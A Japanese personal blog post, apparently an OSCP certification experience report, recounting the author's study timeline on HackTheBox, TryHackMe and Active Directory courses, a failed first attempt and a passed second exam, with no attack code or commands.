適当に読み漁っていたので、以下がすべてではないと思いますが、手元にあるものを並べておきます。(多分これ以外の無料の体験記もすべて読んでいる気がします)

注意点として、2020年にラボ環境の改変と、2021年末に試験の改変があったので、それを頭の片隅に入れておくこと。

終わってみての印象はADがほぼ攻略必須になったくらいで、それほど変わらず、引き続き昔の体験記も非常に参考になります。

タイムライン

  • ここまでの前提としては…
    • CTFのWeb問を解いていた CTFにおけるWebセキュリティ入門とまとめ - はまやんはまやんはまやんにあるくらいの知識量。一応一通り知ってはいるレベル
      • Web Exploitの知識はOSCPにかなり役立った。多分結構教科書スキップできた
    • Forensicもちょっとやってたが、それ以外は全然やってない
    • 資格はRISS, Comptia Security+, GCFEを持ってるくらい
    • VulnMachine系はHackTheBoxは数個やったことがある。流れや雰囲気は分かる。
  • 2021年9月 OSCPの30日ラボ
    • 全部英語で書いてある859ページの教科書はだいぶキツいです
    • ちょっと時間もあんまり取れず、この時はラボマシン2つくらいしか完了しなかったように思います
  • 2021年10月 HackTheBoxのVIP契約をしてRetiredマシンを50台ほど攻略
  • 2022年1月 もう一度、HackTheBoxのVIP契約をしてRetiredマシンを50台ほど攻略
    • なんだかんだHackTheBoxは安くて学習できますね…
    • ADさえなければ、これだけでOSCP受かるな
    • ADが試験に追加されるということで、TryHackMeのWindowsマシンとかやってたような気が(10台ほど)
  • 2022年2月 OSCP 1回目試験
    • 非ADマシンでとりあえず30点を獲得して、後はADラボだと思っていたが、ADラボが…解けない…ちゃんと勉強して2回目に臨んだら解けたので、自分の理解度不足だったっぽい(っぽいけど、解けてから振り返ると、こんなしょうもないことが原因で落ちて3万近く払ったと思うとモヤる)
  • 2022年3月 AD勉強しなおし
    • ボーナスポイントはやる気があまり起きなかったし、AD問題は解けるのが必須だったので、ちょっと別途勉強しておいた。ADへの理解がかなり深まった
    • いろいろBoxをやったりもしたが、以下2つがとても参考になったのでオススメ
    • ミミミミミッミ:Allsafe は本当に聖書のような本だった。情報Iに入れてもいいくらい参考になった
    • Practical Ethical Hacking - The Complete Course | TCM Security, Inc. 安いがとても参考になった。オススメ。
  • 2022年4月 OSCPの30日ラボ延長
    • とりあえず勉強はしまくってきたので30日間は全部ラボ攻略に費やした
    • 4/4に始めて5/1に全完しました。フラグが出せるラボを全部出さなくても全完判定されるので、それで満足してしまったので、実際2,3個残ってました
    • HackTheBoxと1つ1つは一緒ではあるが、色々な要素があって、攻撃者の気持ちがちょっと分かったというか、多層防御とかハーデニングとかの大切さと、どういう対策が気休め程度かの理解ができました。落ちた分の学習はできました
  • 2022年5月 HackTheBoxのランク上げ
    • OSCP試験日までちょっと時間があったのでHackTheBoxのランク上げしてました
    • Hackerまではそれほど大変ではなくて、Pro Hackerに上げるのはちょっと大変。ここまではやってればというか時間があれば行くけどエリート以降は結構大変そう。
    • 本当はEndgameがunlockされるGuruまで上げたい所だけれど、ChallengeとかでPwnとかReverseとかCryptoとかもやっていかないといけないみたいで、かなり大変そう
  • 2022年5月 OSCP 2回目試験
    • 無事合格しました!

…ん?お金?当然全部自腹です。
円安も相まって、総額計算するのも怖いですが。

試験について

  • 試験前にレポートのひな型作成していました。試験中にレポート日本語で作りながら解こうと思っていたので日本語で観点を先に書いておいていました
  • 受験時のこと
    • ボーナスポイント無かったのでAD完全攻略が必須だったので、ADから攻略開始してかなりひりつきました。1回目はADでやられましたが、今回は何とか攻略できましたが、気がついてみれば…という感じ。まあ、どれもそうか。あきらめずに頑張ることが大事
    • 他はproof.txtが2つ取れて、1つも解けないマシンが1つでした
    • なので5/6台を攻略して80点想定でFinishです
    • 20時間連続で攻略して、そのあと4時間寝て終わりました

この辺あまり具体的に書けないのでTry Harderとだけ。ラボで要求されていることができていれば問題ありません。